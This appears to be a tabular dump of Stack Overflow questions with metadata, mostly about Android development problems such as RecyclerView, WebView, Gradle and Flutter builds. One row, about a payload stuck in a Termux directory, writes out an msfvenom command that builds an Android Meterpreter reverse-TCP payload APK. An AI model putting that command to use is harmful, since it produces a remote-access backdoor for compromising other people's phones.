<p>I'm using <code>ObjectAnimator</code> for this. Sometimes it is working fine, but sometimes animation is applied to all views. I assume there is some... | I have RecyclerView and I want to animate one View inside RecyclerView item only for items which meet certain condition. I'm using ObjectAnimator for this. Sometimes it is working fine, but sometimes animation is applied to all views. I assume there is some recycling problem with Views , but I'm not certain what can ca... | android|android-recyclerview|android-animation | 0 | 2020-01-27T08:08:35.197Z | 2,020 | 1 | 8 | 0 | 1,307 | 1 | 819 | 50 | 3 | 1 | true | false | false | false | false | false | zero |
59,927,320 | Msfvenom payload stuck in termux directory | <p>Quick cyber sec question</p>
<p>Im playing around with metasploit in termux and resolved most issues except for the following: </p>
<p>msfvenom -p android/meterpreter/reverse_tcp LHOST=0.0.0.0 LPORT=000 R> /$HOME/payload.apk</p>
<p>The above code succesfully compiles the reverse_tcp payload however it is saved to... | Quick cyber sec question Im playing around with metasploit in termux and resolved most issues except for the following: msfvenom -p android/meterpreter/reverse_tcp LHOST=0.0.0.0 LPORT=000 R> /$HOME/payload.apk The above code succesfully compiles the reverse_tcp payload however it is saved to the $HOME directory in term... | android|ruby|termux | 0 | 2020-01-27T08:22:33.300Z | 2,020 | 1 | 8 | 0 | 1,931 | 1 | 761 | 42 | 3 | 0 | false | false | false | false | false | false | zero |
59,927,349 | declaring a variable as constant after a certain time- what's the workaround | <p>The situation is coded as following: </p>
<pre><code>import androidx.appcompat.app.AppCompatActivity;
import androidx.appcompat.widget.Toolbar;
import android.os.Bundle;
import com.makeIT.www.R;
public class MainScreenActivity extends AppCompatActivity {
/*final*/static Toolbar app_toolbar = null; //would ... | The situation is coded as following: [CODE] So, I'd like to make the view static final , but as you can see findViewById isn't available until the layout is set. Hence, I can only make it static . (In this case, not making final wouldn't hurt but still if there's a workaround, I'd like to know it.) EDIT :what I wanted ... | java|android | 0 | 2020-01-27T08:24:58.397Z | 2,020 | 1 | 8 | 0 | 65 | 3 | 777 | 76 | 2 | 1 | true | false | false | false | false | false | zero |
59,927,425 | Glide has shown black image when loading by uri | <p>When I want to load uri for image by using Glide, my image has shown black image.</p>
<p>Uri: </p>
<blockquote>
<p>content://com.whatsapp.provider.media/item/4</p>
</blockquote>
<pre><code> GlideApp.with(context).load(uri)
.diskCacheStrategy(DiskCacheStrategy.NONE)
.trans... | When I want to load uri for image by using Glide, my image has shown black image. Uri: content://com.whatsapp.provider.media/item/4 [CODE] I have convert to uri to path and this is not working. I think Glide can't convert from Whatsapp uri to path. | android|uri|android-glide | 0 | 2020-01-27T08:29:58.770Z | 2,020 | 1 | 8 | 0 | 665 | 1 | 248 | 47 | 3 | 1 | true | false | false | false | false | false | zero |
59,927,485 | Stuck partial wake locks - AudioMix | <p>First of all, I'm not really sure if this is the right place to report this issue but can't find any info or any kind of documentation anywhere.</p>
<p>Couple days(maybe weeks) ago Android Vitals started to alerting us about "Bad behaviour" in the Google Play Dashboard. The alert says "Stuck partial wake lock" and ... | First of all, I'm not really sure if this is the right place to report this issue but can't find any info or any kind of documentation anywhere. Couple days(maybe weeks) ago Android Vitals started to alerting us about "Bad behaviour" in the Google Play Dashboard. The alert says "Stuck partial wake lock" and we got it o... | android|webview|google-play|chromium|wakelock | 7 | 2020-01-27T08:36:33.787Z | 2,020 | 1 | 8 | 0 | 1,181 | 1 | 1,754 | 35 | 5 | 0 | false | false | false | false | false | false | medium |
59,927,643 | On pressed back in android Webview how to go back to previous task instead of closing app? | <p>I have an webview app having a MainActivity which is load the website and another one is Bookmark Activity/List. There is a button in the MainActivity to open the bookmark list.</p>
<p>After opening bookmark list when user click on a link from that list, it will open/load in MainActivity.</p>
<p><strong>The proble... | I have an webview app having a MainActivity which is load the website and another one is Bookmark Activity/List. There is a button in the MainActivity to open the bookmark list. After opening bookmark list when user click on a link from that list, it will open/load in MainActivity. The problem is , After opening a link... | android|android-activity|webview|back-button|back-stack | 0 | 2020-01-27T08:48:04.827Z | 2,020 | 1 | 8 | 0 | 423 | 1 | 623 | 90 | 5 | 2 | true | false | false | false | false | false | zero |
59,927,670 | Creating Multiple APK with different icons and SplashScreen from same Sourcefile in React-native | <p>I'm trying to create Multiple APK from same source file with different Icons</p>
<pre><code> eg: APP_ONE , APP_TWO , APP_THREE
</code></pre>
<p>1) I need to install all these APPS(1,2,3) on the same device with different icons</p>
<p>Now i'm creating these APKs from different projects with same source(Copy&Pa... | I'm trying to create Multiple APK from same source file with different Icons [CODE] 1) I need to install all these APPS(1,2,3) on the same device with different icons Now i'm creating these APKs from different projects with same source(Copy&Paste src from main to all other projects) When i put the src file outside from... | android|reactjs|react-native|apk | 2 | 2020-01-27T08:50:29.773Z | 2,020 | 1 | 8 | 0 | 359 | 1 | 470 | 96 | 4 | 1 | true | false | false | false | false | false | low |
59,927,674 | Keep Recycled View Cards within Bottom Sheet | <p>I am trying to have a bottom sheet with cards in it. I have tried everything and I cannot figure out how to display all the cards correctly within the bottom sheet. My code comes out with multiple bottom sheets being created and the cards(See second photo) Any assistance would be appreciated. I am trying to do somet... | I am trying to have a bottom sheet with cards in it. I have tried everything and I cannot figure out how to display all the cards correctly within the bottom sheet. My code comes out with multiple bottom sheets being created and the cards(See second photo) Any assistance would be appreciated. I am trying to do somethin... | android|android-studio|android-layout|kotlin|bottom-sheet | 0 | 2020-01-27T08:50:44.657Z | 2,020 | 1 | 8 | 0 | 741 | 1 | 652 | 44 | 5 | 7 | true | false | false | false | false | false | zero |
59,927,728 | Use js file inside the html file Flutter | <p>How can I use a js file associated with an html in Flutter. I use the webview_flutter plug-in to load the index.html file and it works, but I am not able to load the js file
This is my Flutter code:</p>
<pre><code>return Scaffold(
appBar: AppBar(
title: Text(widget.title),
),
body: WebView(
initialUr... | How can I use a js file associated with an html in Flutter. I use the webview_flutter plug-in to load the index.html file and it works, but I am not able to load the js file This is my Flutter code: [CODE] And this is my html file [CODE] This is the message that appears in conosle [CODE] | javascript|html|android-studio|flutter|dart | 3 | 2020-01-27T08:54:43.363Z | 2,020 | 1 | 8 | 0 | 2,131 | 1 | 288 | 40 | 5 | 3 | true | false | false | false | false | false | low |
59,927,835 | How to add window message event Listener - Android WebView | <p>How to add an event listener to handle <code>window</code> <strong>message</strong> event in a <code>WebView</code>. I have tried this,</p>
<pre><code>webView.evaluateJavascript("window.addEventListener('message', function (e) { Android.logData('HELLO')});", null);
</code></pre>
<p>But it is not working. Is there ... | How to add an event listener to handle window message event in a WebView . I have tried this, [CODE] But it is not working. Is there any way to achieve this? | android|android-webview | 2 | 2020-01-27T09:01:56.230Z | 2,020 | 1 | 9 | 0 | 2,233 | 1 | 157 | 58 | 2 | 1 | true | false | false | false | false | false | low |
59,927,839 | How to save value Intent inside Calling API? | <p>I have a problem for saving value in Intent from calling API, the calling API showing its value, but i can't save it to intent.
this is my Code
Saving in Intent</p>
<pre><code>view.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
final Intent mIn... | I have a problem for saving value in Intent from calling API, the calling API showing its value, but i can't save it to intent. this is my Code Saving in Intent [CODE] Getting Intent [CODE] i can display url in Toast but not the status, the status showing null, This is the picture of the problem Can anyone help me?I am... | java|android|android-intent|retrofit2 | 2 | 2020-01-27T09:02:13.293Z | 2,020 | 1 | 9 | 0 | 66 | 2 | 360 | 44 | 4 | 2 | true | false | false | false | false | false | low |
59,927,878 | ViewPagerAdapter Toolbar scrollable horizontaly | <p>I have a toolbar with many tabs, but when there is too much tabs, text inside is splitted and all the tabs are on my screen.
I want my toolbar to be scrollable but can't do it myself.</p>
<p>There is my Layout : </p>
<pre><code><androidx.coordinatorlayout.widget.CoordinatorLayout xmlns:android="http://schemas.... | I have a toolbar with many tabs, but when there is too much tabs, text inside is splitted and all the tabs are on my screen. I want my toolbar to be scrollable but can't do it myself. There is my Layout : [CODE] I tried to replace the appbarlayout by a NestedScrollView but don't work. Thank's for your help. You can see... | android|xml|android-layout | 1 | 2020-01-27T09:05:22.373Z | 2,020 | 1 | 9 | 0 | 34 | 0 | 499 | 47 | 3 | 1 | true | true | false | false | false | false | low |
59,927,888 | removing the child layouts rows in recycler view | <p>In my android app, I have a recycler view and i have search bar. I am getting data from db. When i search the corresponding data from database is searched and number of rows are added in recycler view depending upon the length of json array fetch from data base. Now the problem comes when i perform another search th... | In my android app, I have a recycler view and i have search bar. I am getting data from db. When i search the corresponding data from database is searched and number of rows are added in recycler view depending upon the length of json array fetch from data base. Now the problem comes when i perform another search the r... | android|android-recyclerview | 0 | 2020-01-27T09:06:18.277Z | 2,020 | 1 | 9 | 0 | 77 | 3 | 808 | 48 | 2 | 2 | true | false | false | false | false | false | zero |
59,927,896 | Why do i keep getting "connection to the server was unsuccessful. (http://localhost:12896/)"? | <p>I'm using meteor 1.8.1 , when compile for android i use command "meteor run android --mobile-server=<a href="http://localhost:3000" rel="nofollow noreferrer">http://localhost:3000</a> --verbose" the app compiles fine but when it launches the app on emulator
a modal popup comes up and says "connection to the server ... | I'm using meteor 1.8.1 , when compile for android i use command "meteor run android --mobile-server= http://localhost:3000 --verbose" the app compiles fine but when it launches the app on emulator a modal popup comes up and says "connection to the server was unsuccessful. ( http://localhost:12896/ )" could there be som... | android|cordova|vue.js|meteor | 0 | 2020-01-27T09:06:46.270Z | 2,020 | 1 | 9 | 0 | 77 | 1 | 341 | 93 | 4 | 0 | false | false | false | false | false | false | zero |
59,927,949 | Environment.getExternalStorageDirectory() deprecated. How to create new folder? | <p>Working on android Java, recently updated SDK to API level 29 now there is a warning shown which states that</p>
<p>Environment.getExternalStorageDirectory() is deprecated in API level 29</p>
<p>My code is</p>
<pre><code> val wallpaperDirectory = File(Environment.getExternalStorageDirectory(), "NewFolder")
wa... | Working on android Java, recently updated SDK to API level 29 now there is a warning shown which states that Environment.getExternalStorageDirectory() is deprecated in API level 29 My code is [CODE] How to create newFolder in intenal storage | android|local-storage | 3 | 2020-01-27T09:10:41.553Z | 2,020 | 1 | 9 | 0 | 16,711 | 2 | 241 | 79 | 2 | 1 | true | false | true | true | false | false | low |
59,927,961 | error: resource android:attr/ttcIndex not found. error: failed linking references | <p>When I upgrade the flutter sdk to v1.12.13+hotfix-stable, I am easily creating a debug file but as soon as I am trying to create a release file I am getting a build failed exception.</p>
<pre><code>FAILURE: Build failed with an exception.
* What went wrong:
Execution failed for task ':sms:verifyReleaseResources'.
... | When I upgrade the flutter sdk to v1.12.13+hotfix-stable, I am easily creating a debug file but as soon as I am trying to create a release file I am getting a build failed exception. [CODE] | android|flutter|dart|build|android-gradle-plugin | 0 | 2020-01-27T09:11:39.743Z | 2,020 | 1 | 9 | 0 | 414 | 1 | 189 | 81 | 5 | 1 | true | false | false | false | false | false | zero |
59,927,976 | Moshi can't convert Json when Date item is null | <p>I'm using Moshi in my application and for my <code>Date</code> that I will get from the server, I just defined a custom adapter for Moshi, but thing that will happen is that when my date is null, <code>Moshi</code> can't to convert the <code>JSON</code> to my model, So it gives me an error like below:</p>
<p>This i... | I'm using Moshi in my application and for my Date that I will get from the server, I just defined a custom adapter for Moshi, but thing that will happen is that when my date is null, Moshi can't to convert the JSON to my model, So it gives me an error like below: This is my data class: [CODE] My Moshi Custome Adapter: ... | android|date|moshi|data-class | 0 | 2020-01-27T09:12:24.750Z | 2,020 | 1 | 9 | 0 | 455 | 2 | 351 | 47 | 4 | 3 | true | false | false | false | false | false | zero |
59,928,067 | Keeping all strings JNI android to protect from reverse engineering? | <p>This is how i am keeping strings in JNI </p>
<pre><code>extern "C" JNIEXPORT jstring JNICALL
Java_com_galaxy_mars_moon_MainActivity_getDefaultNegative(JNIEnv* env, jobject)
{
std::string defaultNegative = "Cancel";
return env->NewStringUTF(defaultNegative.c_str());
}
</code></pre>
<p>And i call this native func... | This is how i am keeping strings in JNI [CODE] And i call this native function from java class. My Questions are : Would it be able to decompiling person to identify? I uses Proguard too, Does proguard will make obfuscate code from it? Will it be converted to .so file and will it be readable to decompiling person? Than... | android|c++11|java-native-interface|obfuscation|deobfuscation | 4 | 2020-01-27T09:18:34.443Z | 2,020 | 1 | 9 | 0 | 950 | 1 | 380 | 68 | 5 | 1 | true | false | false | false | false | false | low |
59,928,098 | Having context as primary constructor parameter inside a repository is good or bad | <p>I have a repository called <code>LocationRepository</code> the code of <code>LocationRepository</code> is </p>
<pre><code>class LocationRepository(
private val context: Context
private val api: AppApi,
private val db:AppDatabase
) : SafeApiRequest() {
}
</code></pre>
<p>here you can see that ... | I have a repository called LocationRepository the code of LocationRepository is [CODE] here you can see that I am passing a context inside through the primary constructor need for that is I have to convert a bitmap to base64 from its Uri you can see the suspended fun below [CODE] you can see here I am passing location ... | android|android-studio|kotlin|android-mvvm | 0 | 2020-01-27T09:20:54.327Z | 2,020 | 1 | 9 | 0 | 96 | 1 | 438 | 82 | 4 | 2 | true | false | false | false | false | false | zero |
59,928,130 | Dynamically search SQLite database for product name which is entered by the final user character by character | <p>In an Android application, </p>
<p>There is a SQLite database with 10000 records of different products<br>
I need to use an Edittext for the user to be able to search among the products by name </p>
<p>When the user types a character, the search result with the newly added character shall be appeared </p>
<p>Th... | In an Android application, There is a SQLite database with 10000 records of different products I need to use an Edittext for the user to be able to search among the products by name When the user types a character, the search result with the newly added character shall be appeared There are some problem: 1 - the user s... | android | 0 | 2020-01-27T09:23:20.613Z | 2,020 | 1 | 9 | 0 | 76 | 1 | 825 | 109 | 1 | 0 | false | false | false | false | false | false | zero |
59,928,169 | How to get AppComponent instance in a different Module | <p>I'm using dagger in a multi module project. I'm working on a feature module (Gradle module) which is independent of the main App module.</p>
<p>The main app gradle module imports my module, so that classes in the main module is not accessible in my module. </p>
<p>See this diagram for better understanding.</p>
<p... | I'm using dagger in a multi module project. I'm working on a feature module (Gradle module) which is independent of the main App module. The main app gradle module imports my module, so that classes in the main module is not accessible in my module. See this diagram for better understanding. Let's assume I'm working on... | android|dagger-2|dagger | 1 | 2020-01-27T09:25:40.660Z | 2,020 | 1 | 9 | 0 | 122 | 0 | 1,551 | 54 | 3 | 1 | true | true | false | false | false | false | low |
59,928,224 | How do i select todays birthday date from SQLite database? | <p>I'm trying to select all records from SQLite database where <strong>birthday date is today.</strong></p>
<p>My table schema is as shown below.</p>
<pre><code>public void onCreate(SQLiteDatabase db) {
db.execSQL("create table "+TABLE_NAME+" (id integer primary key, name text, isactive integer default 0, bda... | I'm trying to select all records from SQLite database where birthday date is today. My table schema is as shown below. [CODE] I have tried to get the date by writting below query. But no use. [CODE] I have parsed the user input date to store into the database in 'yyyy-MM-dd' format. Help me to get todays birthday date ... | android|database|sqlite|select | 0 | 2020-01-27T09:28:08.777Z | 2,020 | 1 | 9 | 0 | 518 | 3 | 337 | 58 | 4 | 2 | true | false | false | false | false | false | zero |
59,928,272 | SAPUI5 - How to disable soft keyboard on android when focus is set on input field | <p>I have a SAPUI5 scan web app which sets focus on an input field every time you click anywhere on the screen or leave the menu. This makes sure it is ready to display the scanned value in the input field.</p>
<p>The problem is that when the focus is set to the input field, the soft keyboard is displayed. I only want... | I have a SAPUI5 scan web app which sets focus on an input field every time you click anywhere on the screen or leave the menu. This makes sure it is ready to display the scanned value in the input field. The problem is that when the focus is set to the input field, the soft keyboard is displayed. I only want the soft k... | javascript|sapui5|android-softkeyboard | 4 | 2020-01-27T09:31:14.770Z | 2,020 | 1 | 9 | 0 | 671 | 1 | 662 | 81 | 3 | 1 | true | false | false | false | false | false | low |
59,928,300 | android: network security config only in debug version | <p>I'm working on an Android app. For development purpose, I need to specify a network security config as specified in the <a href="https://developer.android.com/training/articles/security-config" rel="noreferrer">official documentation</a>. Obviously, it is referenced in the <code>AndroidManifest.xml</code>.</p>
<pre... | I'm working on an Android app. For development purpose, I need to specify a network security config as specified in the official documentation . Obviously, it is referenced in the AndroidManifest.xml . [CODE] Now, I need to remove this file (and its reference in the manifest too) in the release version of my app. How c... | android|networking | 7 | 2020-01-27T09:33:03.387Z | 2,020 | 1 | 9 | 0 | 2,088 | 2 | 360 | 54 | 2 | 1 | true | false | false | false | false | false | medium |
59,928,321 | Could not create service of type FileAccessTimeJournal using GradleUserHomeScopeServices.createFileAccessTimeJournal() error in gradle | <p>I am facing this issue while building <code>flutter</code> apps in <code>VS Code</code> and I could not find any simple solution for this issue. Please help me resolve this issue.</p>
<p>FAILURE: Build failed with an exception.</p>
<p>What went wrong:</p>
<blockquote>
<p>Could not create service of type FileAccessTi... | I am facing this issue while building flutter apps in VS Code and I could not find any simple solution for this issue. Please help me resolve this issue. FAILURE: Build failed with an exception. What went wrong: Could not create service of type FileAccessTimeJournal using GradleUserHomeScopeServices.createFileAccessTim... | android|gradle|flutter|visual-studio-code | 18 | 2020-01-27T09:34:09.590Z | 2,020 | 1 | 9 | 0 | 15,462 | 9 | 1,182 | 134 | 4 | 0 | false | false | true | true | true | false | medium |
59,928,329 | InAppUpdate not work proper ,the download process are done successful but app not install | <p>I implement <a href="https://developer.android.com/guide/playcore/in-app-updates" rel="nofollow noreferrer">Google in-app update</a> on my app,
I already added in my other app its work properly and its update my app also.
but in my new app, I add its to same as oldest apk its follow all process and download also bu... | I implement Google in-app update on my app, I already added in my other app its work properly and its update my app also. but in my new app, I add its to same as oldest apk its follow all process and download also but not update the app.if anyone implements the proper in-app update code then please share and help. can ... | java|android|in-app-update | 0 | 2020-01-27T09:34:38.553Z | 2,020 | 1 | 9 | 0 | 184 | 1 | 445 | 89 | 3 | 0 | false | false | false | false | false | false | zero |
59,928,495 | Fix warning NullPointerException in android | <p>Below code gives a warning when I run Inspect code. How can I change it to fix the warning?</p>
<pre><code>File contents = new File(context.getExternalFilesDir(null).getAbsolutePath(), "Contents");
if (!contents.exists()) {
contents.mkdirs();
}
</code></pre>
<p><strong>Warni... | Below code gives a warning when I run Inspect code. How can I change it to fix the warning? [CODE] Warning: Method invocatiom 'getAbsolutePath' may produce 'NullPointerException' and File mkdirs() is ignored | android | 0 | 2020-01-27T09:44:41.557Z | 2,020 | 1 | 9 | 0 | 213 | 2 | 207 | 43 | 1 | 1 | true | false | false | false | false | false | zero |
59,928,552 | Android File Picker to get real file path from installed application files | <p>I am trying to open file picker and select files from installed applications. In this case I am trying to access scanned file from Adobe Scan. When I choose file I get following uri</p>
<pre><code>content://com.adobe.scan.android.documents/document/root:1
</code></pre>
<p>But now I want to get file from this uri w... | I am trying to open file picker and select files from installed applications. In this case I am trying to access scanned file from Adobe Scan. When I choose file I get following uri [CODE] But now I want to get file from this uri which I couldn't. I am using following class to get Real File Path. I dont know what logic... | android|file|uri|filepicker | 0 | 2020-01-27T09:47:55.417Z | 2,020 | 1 | 9 | 0 | 660 | 0 | 481 | 74 | 4 | 2 | true | true | false | false | false | false | zero |
59,928,558 | Signing APK breaks installation | <p>I am resigning an APK with my own keys using the command line <code>jarsigner.exe -keystore Keys.jks base.apk debug0</code>, after deleting META-INF/CERT.RSA, CERT.SF and MANIFEST.MF, without touching anything else.</p>
<p>My issue is that after resiging, installing via <code>adb install base.apk</code> gives me t... | I am resigning an APK with my own keys using the command line jarsigner.exe -keystore Keys.jks base.apk debug0 , after deleting META-INF/CERT.RSA, CERT.SF and MANIFEST.MF, without touching anything else. My issue is that after resiging, installing via adb install base.apk gives me the error Failure [INSTALL_FAILED_INVA... | android|apk|signing | 2 | 2020-01-27T09:48:14.283Z | 2,020 | 1 | 9 | 0 | 1,889 | 1 | 561 | 31 | 3 | 0 | false | false | false | false | false | false | low |
59,928,720 | Headless tasks in React-Native timeout (Android) | <p>I am using headless tasks in RN android but I dont understand one thing, Timeout, does it mean how long I want the background process to work? I would like to work until I call stopService so do I have to specify the timeout there at all?</p>
<pre><code> return new HeadlessJsTaskConfig("headless_task", data, 5000, ... | I am using headless tasks in RN android but I dont understand one thing, Timeout, does it mean how long I want the background process to work? I would like to work until I call stopService so do I have to specify the timeout there at all? [CODE] | java|android|react-native|background-process|headless | 0 | 2020-01-27T09:56:40.730Z | 2,020 | 1 | 9 | 0 | 265 | 1 | 245 | 48 | 5 | 1 | true | false | false | false | false | false | zero |
59,928,731 | How to keep invisible button on recycleview if exit activity the open show visible | <p>I am a problem on recycleview button if button click to show hide but exit app then open recycle view show button visible.</p>
<pre><code> save.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
postatta... | I am a problem on recycleview button if button click to show hide but exit app then open recycle view show button visible. [CODE] | java|android|arrays|android-layout | 0 | 2020-01-27T09:57:07.643Z | 2,020 | 1 | 9 | 0 | 44 | 1 | 129 | 82 | 4 | 1 | true | false | false | false | false | false | zero |
59,928,757 | flutter get RuntimeException after add firebase messaging | <p>I config my project base on [firebase_messaging 6.0.9]<a href="https://pub.dev/packages/firebase_messaging" rel="nofollow noreferrer">https://pub.dev/packages/firebase_messaging</a>
after replace .Activity by .Application in manifest i get this error : </p>
<pre><code><manifest xmlns:android="http://schemas.and... | I config my project base on [firebase_messaging 6.0.9] https://pub.dev/packages/firebase_messaging after replace .Activity by .Application in manifest i get this error : [CODE] ERROR : [CODE] Application Class => Android/app/src/main/java/package_name/ same with MainActivity.java [CODE] flutter doctor : [CODE] without ... | android|firebase|flutter|firebase-cloud-messaging | 4 | 2020-01-27T09:59:03.050Z | 2,020 | 1 | 9 | 0 | 843 | 1 | 400 | 57 | 4 | 4 | true | false | false | false | false | false | low |
59,928,837 | getting Error: non-static method 'getResources()' cannot be referenced from a static context | <p>I'm working on an rpg game on Android studio using Java, and I have png pictures in the Drawable in Resource Manager. I'm trying to convert the drawable to bitmap, but I got the error.</p>
<pre><code>import android.graphics.Bitmap;
import android.graphics.Canvas;
import android.graphics.drawable.BitmapDrawable;
imp... | I'm working on an rpg game on Android studio using Java, and I have png pictures in the Drawable in Resource Manager. I'm trying to convert the drawable to bitmap, but I got the error. [CODE] as for the MainActivity: [CODE] Please help. Thanks a lot!! | java|android | 0 | 2020-01-27T10:03:16.340Z | 2,020 | 1 | 10 | 0 | 280 | 1 | 251 | 92 | 2 | 2 | true | false | false | false | false | false | zero |
59,928,870 | list view change item randomly | <p>I have a listview that when I change the value of one item (count) with click on plus button, Everything is fine as long as the user do scroll down and show more items
And we see that on each page of the scroll has changed a value of item!!!
idont kNow why everything seems fine!! </p>
<pre><code>public class MyAda... | I have a listview that when I change the value of one item (count) with click on plus button, Everything is fine as long as the user do scroll down and show more items And we see that on each page of the scroll has changed a value of item!!! idont kNow why everything seems fine!! [CODE] make list on activity I have a l... | java|android|listview|conflict | -2 | 2020-01-27T10:05:18.950Z | 2,020 | 1 | 10 | 0 | 98 | 2 | 908 | 30 | 4 | 3 | true | false | false | false | false | true | negative |
59,928,912 | (React Native) How to uploading App Signing Key to Google Play Console? | <p>im developing an app in react native, but i have some problem in deploying to Play Store. I already generating an upload key using keytool as the react native's documentation said, and i got a file named <code><my-upload-key>.keystore</code>. Im done with editting <code>build.gradle</code> and <code>gradle.pro... | im developing an app in react native, but i have some problem in deploying to Play Store. I already generating an upload key using keytool as the react native's documentation said, and i got a file named <my-upload-key>.keystore . Im done with editting build.gradle and gradle.properties to configure my upload key. My p... | android|react-native|store|keystore|playback | 3 | 2020-01-27T10:07:33.160Z | 2,020 | 1 | 10 | 0 | 3,264 | 3 | 962 | 71 | 5 | 0 | false | false | true | false | false | false | low |
59,928,916 | How to perform click on TextInputLayout EndIcon button | <p>I know that it is possible to perform a click on a view like this :</p>
<pre><code>view.PerformClick()
</code></pre>
<p>How do I do it on <code>TextInputLayout</code> EndIcon <code>button</code>?</p>
<p><strong>Update</strong></p>
<p>The problem is that I have a bunch of InputLayouts and use a generic function t... | I know that it is possible to perform a click on a view like this : [CODE] How do I do it on TextInputLayout EndIcon button ? Update The problem is that I have a bunch of InputLayouts and use a generic function to set the click listeners on them like so [CODE] and call it with different parameteres like this [CODE] so ... | android|kotlin|android-textinputlayout | 5 | 2020-01-27T10:07:38.070Z | 2,020 | 1 | 10 | 0 | 5,189 | 4 | 370 | 54 | 3 | 4 | true | false | true | false | false | false | low |
59,928,958 | Android ImageView can not locate resource where bitmap can | <p>xamarin.forms has <a href="https://docs.microsoft.com/en-us/xamarin/android/user-interface/splash-screen#creating-a-drawable-for-the-splash-screen" rel="nofollow noreferrer">a tutorial</a> for creating splash screens in android</p>
<p>This code is my result from following the tutorial <strong>and it works</strong><... | xamarin.forms has a tutorial for creating splash screens in android This code is my result from following the tutorial and it works [CODE] But now I also want my image to aspect-fit on the page. I found a number of posts suggesting the following code: [CODE] But this code results in a ResourcesNotFoundException: androi... | android|xamarin.forms|imageview|android-bitmap | 0 | 2020-01-27T10:10:13.527Z | 2,020 | 1 | 10 | 0 | 122 | 1 | 875 | 58 | 4 | 4 | true | false | false | false | false | false | zero |
59,928,964 | Generating multiple apk | <p>I want to generate multiple apk with single build.
all apk with different server URL.</p>
<p>The application is like loading webview, and the URL used for webview is different for all generated apk.</p>
<p>For example, apk 1 webview is loading url like <code>www.url_1.com</code>,
apk 2 webview is loading url like ... | I want to generate multiple apk with single build. all apk with different server URL. The application is like loading webview, and the URL used for webview is different for all generated apk. For example, apk 1 webview is loading url like www.url_1.com , apk 2 webview is loading url like www.url_2.com Something like th... | android|android-studio|build.gradle|apk | 1 | 2020-01-27T10:10:39.700Z | 2,020 | 1 | 10 | 0 | 188 | 2 | 550 | 23 | 4 | 0 | false | false | false | false | false | false | low |
59,928,999 | How to have inbuilt GPS locker like "GPS Connected" in app? | <p>I would like to have highest precision on my app when I acquire GPS position with </p>
<pre><code>Location.getLatitude()
Location.getLongitude()
</code></pre>
<p>and I have found out the GPS has to be running in the background to have highest precision.</p>
<p>If anyone knows them, the function of the app GPS Con... | I would like to have highest precision on my app when I acquire GPS position with [CODE] and I have found out the GPS has to be running in the background to have highest precision. If anyone knows them, the function of the app GPS Connected, and similar apps like GPS Fix, GPS Locker, does exactly what i want. I would l... | java|android|gps|android-gps | 2 | 2020-01-27T10:12:42.437Z | 2,020 | 1 | 10 | 0 | 244 | 1 | 460 | 59 | 4 | 1 | true | false | false | false | false | false | low |
59,929,070 | API request validity interval is out-of-date issue on some devices | <p>I face Issue when I try to connect to my APIs server with wrong device date
the request throws internet connection error with the following exceptions:</p>
<blockquote>
<p>java.security.cert.CertPathValidatorException: Response is unreliable: its validity interval is out-of-date<br/>
java.security.cert.CertPath... | I face Issue when I try to connect to my APIs server with wrong device date the request throws internet connection error with the following exceptions: java.security.cert.CertPathValidatorException: Response is unreliable: its validity interval is out-of-date java.security.cert.CertPathValidatorException: Could not det... | android|ssl | 0 | 2020-01-27T10:18:02.623Z | 2,020 | 1 | 10 | 0 | 3,019 | 2 | 818 | 66 | 2 | 0 | false | false | true | false | false | false | zero |
59,929,146 | Ionic Cordova QrScanner layout inconsistency? | <p>I am having layout inconsistencies with my layout for the qrscanner. The Qrcode on iOS and web view looks normal, however, on android it comes off abit wonky, (not centered).</p>
<p>Here's a screenshot on Android:
<a href="https://i.stack.imgur.com/uZb8m.png" rel="nofollow noreferrer"><img src="https://i.stack.img... | I am having layout inconsistencies with my layout for the qrscanner. The Qrcode on iOS and web view looks normal, however, on android it comes off abit wonky, (not centered). Here's a screenshot on Android: And here's a screenshot on iOS: and here's my ionic/angular code: [CODE] and the scss: [CODE] What could I do to ... | android|ios|angular|ionic-framework|layout | 0 | 2020-01-27T10:21:23.063Z | 2,020 | 1 | 10 | 0 | 89 | 1 | 350 | 45 | 5 | 2 | true | false | false | false | false | false | zero |
59,929,199 | DUPLICATE_REQUEST_ID error with PayPal Android SDK | <blockquote>
<p>2020-01-27 15:51:32.312 1732-1903/com.example.paypalnewdemo
E/paypal.sdk: request failure with http statusCode:400,exception:
2020-01-27 15:51:32.317 1732-1903/com.example.paypalnewdemo
E/paypal.sdk: request failed with server
response:{"name":"DUPLICATE_REQUEST_ID","message":"PayPal-Request-I... | 2020-01-27 15:51:32.312 1732-1903/com.example.paypalnewdemo E/paypal.sdk: request failure with http statusCode:400,exception: 2020-01-27 15:51:32.317 1732-1903/com.example.paypalnewdemo E/paypal.sdk: request failed with server response:{"name":"DUPLICATE_REQUEST_ID","message":"PayPal-Request-Id header was already used.... | android|paypal-sandbox | 1 | 2020-01-27T10:24:27.147Z | 2,020 | 1 | 10 | 0 | 304 | 2 | 522 | 50 | 2 | 0 | false | false | false | false | false | false | low |
59,929,253 | PhoneNumberFormattingTextWatcher with countryISO is not available below api level 21 | <p>I want to achieve auto formatting for all countries phone, so for that I am using below code </p>
<pre><code>edittext.addTextChangedListener(new PhoneNumberFormattingTextWatcher("#countryIso#")
</code></pre>
<p>So formation will work on basis of countryISO but <strong>this parameterise PhoneNumberFormattingTextWat... | I want to achieve auto formatting for all countries phone, so for that I am using below code [CODE] So formation will work on basis of countryISO but this parameterise PhoneNumberFormattingTextWatcher class is applied above api level 21 . How can I achieve same functionality in lower api level device's ? If we are not ... | android|android-edittext|libphonenumber | 0 | 2020-01-27T10:27:40.660Z | 2,020 | 1 | 10 | 0 | 121 | 2 | 483 | 84 | 3 | 1 | true | false | false | false | false | false | zero |
59,929,416 | Can't tap to edit on ion-input on Android 9 in ionic 3 | <p>I am running it on the browser, emulator, real device it works perfectly but then I tried to run it on Android version 9 it didn't work. </p>
<p>Can't tap to edit on ion-input on Android 9. </p>
<p>I want to tap the edit input, so I can enter my username or password. </p>
<p>After making a manual action ... | I am running it on the browser, emulator, real device it works perfectly but then I tried to run it on Android version 9 it didn't work. Can't tap to edit on ion-input on Android 9. I want to tap the edit input, so I can enter my username or password. After making a manual action like tapping a button to log in, only t... | android|angular|ionic-framework|ionic3|android-9.0-pie | 0 | 2020-01-27T10:36:55.190Z | 2,020 | 1 | 10 | 0 | 559 | 1 | 1,095 | 54 | 5 | 1 | true | false | false | false | false | false | zero |
